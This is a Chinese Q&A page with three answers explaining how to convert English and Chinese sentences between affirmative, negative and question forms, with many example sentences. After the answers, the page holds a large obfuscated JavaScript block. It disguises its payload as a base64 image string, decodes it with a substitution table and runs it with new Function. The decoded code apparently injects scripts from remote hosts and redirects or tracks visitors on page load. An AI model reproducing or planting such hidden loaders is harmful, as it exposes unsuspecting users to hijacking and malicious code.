改肯定句的方法有哪些?

2025-04-07 05:09:07
推荐回答(3个)
回答(1):

一、肯定句改否定句 

1、be动词后加not,诸如:is not(isn't), are not(aren't), was not(wasn't), were not(weren't), am not(无缩写)。

He is a student. 他是一个学生。--- He is not a student. 他不是一个学生。

They were watching TV then. 那时他们正在看电视。--- They weren't watching TV then. 那时他们没在看电视。

2、情态动词等后加not,诸如:can not(can't), will not(won't),should not(shouldn't),must not(mustn't),need(needn't)等。

She can take care of herself. 她能照顾好她自己。--- She can not(can't) take care of herself. 她不能照顾好她自己。

You should go home. 你应该回家。--- You shouldn't go home. 你不应该回家。

3、若无法找到be动词或情态动词,就在已有动词前额外加助动词否定形式:don't/doesn't/didn't,同时将动词变原形。 

She likes the room. 她喜欢这房间。--- She doesn't like the room. 她不喜欢这房间。

We did our homework yesterday. 我们昨天做了作业。--- We didn't do our homework yesterday. 我们昨天没有做作业。

注:句中若有some ,须将其改成any。

I want some books. 我想要一些书。--- I don't want any books. 我不想要任何书。

There is some water in the cup. 杯子里有一些水。--- There isn't any water in the cup. 杯子里没有水了。

二、肯定句改一般疑问句(三步法) 

1、把be动词(am/is/are...)或情态动词(can/will...)放在句首。若句中没有上述动词,就把助动词放在句首(do/does/did),同时将动词变原形。

2、剩余部分照写。注:some须改成any,I或we均改成you,my或our均改成your。

3、句点改成问号。 

I can swim. 我会游泳。Can you swim? 你会游泳吗?

There is some water in the cup. 杯子里有一些水。Is there any water in the cup. 杯子里有水吗?

I studied hard. 我学习认真。Did you study hard? 你学习认真吗?

三、肯定句改特殊疑问句(四步法 ) 

1、在一般疑问句基础上,句首添加一个疑问词即可,但应根据划线部分选用适配的疑问词。

2、把be动词或情态动词等放在疑问词后面,若句中没有上述动词,就用助动词替代(do/does/did)。注:Whose(谁的)和How many(多少)两词除外,须紧跟物品,再写be动词或情态动词等。

3、划线部分去掉后剩下的内容照写。注:some须改成any,I或we均改成you,my或our均改成your。

4、句点改成问号。

扩展资料

1、划线部分是“事或物”,疑问词用What。

This is a book. 这是一本书。--- What is this? 这是什么?

I often play football on Saturdays. 我经常在周六踢足球。--- What do you often do on Saturdays? 你经常在周六做什么?

2、划线部分是“职业”,疑问词用What。

Mike is a worker. 迈克是一个工人。--- What is Mike? 迈克是做什么的?

I'm a policeman. 我是一名警察。--- What do you do? 你是做什么的?

3、划线部分为“人名”,疑问词用What。

My name is Amy. 我叫艾米。 --- What's your name? 你叫什么名字?

4、划线部分为“天气”,疑问词用What或How。

It's cold and windy in winter. 冬天很冷,而且风大。--- What's the weather like in winter? 冬天的天气怎么样?(= How is the weather in winter in Beijing?)

5、划线部分是“颜色”,疑问词用What colour。

My hat is blue. 我的帽子是蓝色的。--- What colour is your hat?你的帽子是什么颜色?

6、划线部分是“星期几”,疑问词用What day。

It's Monday. 今天星期一。--- What day is today? 今天星期几?

7、划线部分是“时间”,疑问词用What time或When。

It's seven twenty. 现在七点二十。--- What time is it? 现在几点了?

I usually get up at six. 我通常六点起床。 --- When do you usually get up? 你通常什么时候起床?

8、划线部分是“人”,疑问词用Who。

He is my brother. 他是我哥哥。 --- Who is he? 他是谁?

9、划线部分是“形容词性物主代词或名词性物主代词”,疑问词用Whose。

This is my bag.(= This bag is mine.)这是我的包。--- Whose bag is this? 这是谁的包?

10、划线部分是“原因”,疑问词用Why。

He isn't at school because he is ill. 他因为生病而没去学校。--- Why isn't he at school? 他为什么不在学校?

11、划线部分是“地点”,疑问词用Where。

The box is on the desk. 这盒子在桌上。--- Where is the box? 盒子在哪里?

12、划线部分是“方式”,疑问词用How。

She usually goes to school by bike. 她通常骑自行车去上学。--- How does she go to school? 她是怎样去上学的?

13、划线部分是“年龄”,疑问词用How old。

I'm twelve. 我十二岁。 --- How old are you? 你多大了?

14、划线部分是“数量”,疑问词用How many或How much。

I can see five kites. 我能看到五只风筝。--- How many kites can you see? 你能看见几只风筝?

There is some milk in the glass. 杯里有一些牛奶。--- How much milk is there in the glass? 杯里有多少牛奶?

15、划线部分是“多少钱”,疑问词用How much。

This pen is nine yuan. 这笔价格九元。--- How much is this pen? 这笔多少钱?

16、划线部分是“距离”,疑问词用How far。

It's ten minutes' walk. 步行十分钟的路程。--- How far is it? 到那有多远?

17、划线部分是“长度”,疑问句用How long。

The river is about 500 km. 这条河长约500千米。--- How long is the river? 这条河有多长?

18、划线部分是“频率”,疑问词用How often。

I watch TV twice a week. 我一星期看两次电视。 --- How often do you watch TV? 你每多久看一次电视?

回答(2):

改肯定句的方法:

1、把疑问词、否定词、反问词划掉

2、把问号“?”改成句号“.”

3、将反问句中的肯定词改为否定词,或将否定词改为肯定词。  

4、 将反问句中的反问语气词(怎、怎么、难道等)去掉。   

5、将句末的疑问助词(呢、吗等)去掉,问号改为句号。

改肯定句示例:

1、那电线上停着的几个小黑点,不正是伶俐可爱的小燕子吗?

那电线上停着的几个小黑点,是伶俐可爱的小燕子。

2、如果没有人们的辛勤劳动,这里还不是杂草丛生的荒坡吗?

如果没有人们的辛勤劳动,这里是杂草丛生的荒坡。

3、不耕耘怎么有收获?不学习怎会有知识?

耕耘才会有收获,学习才会有知识。

4、这位小姑娘天真美好的心灵,不正像一朵含苞欲放的花蕾吗?

这位小姑娘天真美好的心灵,像一朵含苞欲放的花蕾。

5、难道我们能随意砍伐树木,破坏绿化吗?

我们不能随意砍伐树木,破坏绿化。

回答(3):

否定句一般把否定词去掉即可,还要注意肯定句和否定的不同的形容词和副词;
疑问句就需要将疑问词,助动词去掉,调整语序,
特殊疑问句改肯定句就不像上两种情况了,通常是开放性问题,没有办法改的差不多.
这样讲你可能会不理解,例如
否定句 You don't konw what it is.(你不知道它是什么)
肯定句 You know what it is.
一般疑问句 Do you think he is a good student?(你认为他是一个好学生吗?)
肯定句 You think he is a good student.
特殊疑问句 What do you want to do?

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();